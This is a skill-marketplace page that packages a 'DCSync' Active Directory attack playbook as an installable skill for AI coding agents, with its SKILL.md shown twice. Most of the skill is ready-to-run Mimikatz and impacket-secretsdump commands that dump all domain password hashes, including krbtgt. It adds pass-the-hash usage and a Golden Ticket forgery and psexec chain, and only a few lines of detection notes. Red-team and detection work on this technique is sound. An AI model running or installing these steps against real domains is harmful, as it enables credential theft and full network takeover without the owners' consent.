How do I install the Dcsync skill?

Run npx skillmds@latest add sunilgentyala/dcsync in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Dcsync safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Dcsync?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Dcsync free to use?

Yes. Installing skills from SkillMD is free. This skill is licensed under Apache-2.

Who published Dcsync?

sunilgentyala (@sunilgentyala) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Dcsync by sunilgentyala — Agent Skill

Name: Dcsync
Author: sunilgentyala

File contents

DCSync

Overview

DCSync abuses the Directory Replication Service (DRS) protocol to request password hashes from a Domain Controller as if the attacker's machine were another DC. No code runs on the DC; no LSASS dump needed.

Required permissions (any one of):

Domain Admin / Enterprise Admin
Replicating Directory Changes + Replicating Directory Changes All (delegated)
Account Operators (in some configurations)

Execution

Mimikatz:

lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

Impacket (Linux — remote):

impacket-secretsdump domain/admin:password@dc-ip -just-dc
impacket-secretsdump domain/admin:password@dc-ip -just-dc-ntlm
impacket-secretsdump domain/admin:password@dc-ip -just-dc-user krbtgt

With hash (no plaintext):

impacket-secretsdump -hashes :NTLM_HASH domain/admin@dc-ip -just-dc

High-Value Targets

krbtgt       → Golden Ticket creation (10-year TGT forgery)
Administrator → Direct domain admin access
MACHINE$     → Silver Ticket / Kerberos service attacks

Post-DCSync — Golden Ticket

# Generate Golden Ticket with krbtgt hash
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain domain.local administrator

# Use ticket
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass domain/administrator@dc-ip

Detection Notes (for blue team context in report)

DRS replication calls from non-DC hosts are highly anomalous
Windows Event ID 4662 with Object Type = "domainDNS" and Access Mask including "Replicating Directory Changes"
NetFlow anomalies on port 135/TCP (RPC endpoint mapping) from workstations to DC

MITRE ATT&CK

T1003.006 — OS Credential Dumping: DCSync

---name: dcsyncdescription: DCSync attack methodology — replicate AD credentials from Domain Controllers without touching LSASS. Covers privilege requirements, execution, and credential extraction for all domain accounts including krbtgt.license: Apache-2.0---# DCSync## OverviewDCSync abuses the Directory Replication Service (DRS) protocol to request password hashes from a Domain Controller as if the attacker's machine were another DC. No code runs on the DC; no LSASS dump needed.**Required permissions (any one of):**- Domain Admin / Enterprise Admin- Replicating Directory Changes + Replicating Directory Changes All (delegated)- Account Operators (in some configurations)## Execution**Mimikatz:**```lsadump::dcsync /domain:domain.local /user:krbtgtlsadump::dcsync /domain:domain.local /all /csv```**Impacket (Linux — remote):**```bashimpacket-secretsdump domain/admin:password@dc-ip -just-dcimpacket-secretsdump domain/admin:password@dc-ip -just-dc-ntlmimpacket-secretsdump domain/admin:password@dc-ip -just-dc-user krbtgt```**With hash (no plaintext):**```bashimpacket-secretsdump -hashes :NTLM_HASH domain/admin@dc-ip -just-dc```## High-Value Targets```krbtgt → Golden Ticket creation (10-year TGT forgery)Administrator → Direct domain admin accessMACHINE$ → Silver Ticket / Kerberos service attacks```## Post-DCSync — Golden Ticket```bash# Generate Golden Ticket with krbtgt hashimpacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain domain.local administrator# Use ticketexport KRB5CCNAME=administrator.ccacheimpacket-psexec -k -no-pass domain/administrator@dc-ip```## Detection Notes (for blue team context in report)- DRS replication calls from non-DC hosts are highly anomalous- Windows Event ID 4662 with Object Type = "domainDNS" and Access Mask including "Replicating Directory Changes"- NetFlow anomalies on port 135/TCP (RPC endpoint mapping) from workstations to DC## MITRE ATT&CK- T1003.006 — OS Credential Dumping: DCSync

Frequently asked questions

Dcsync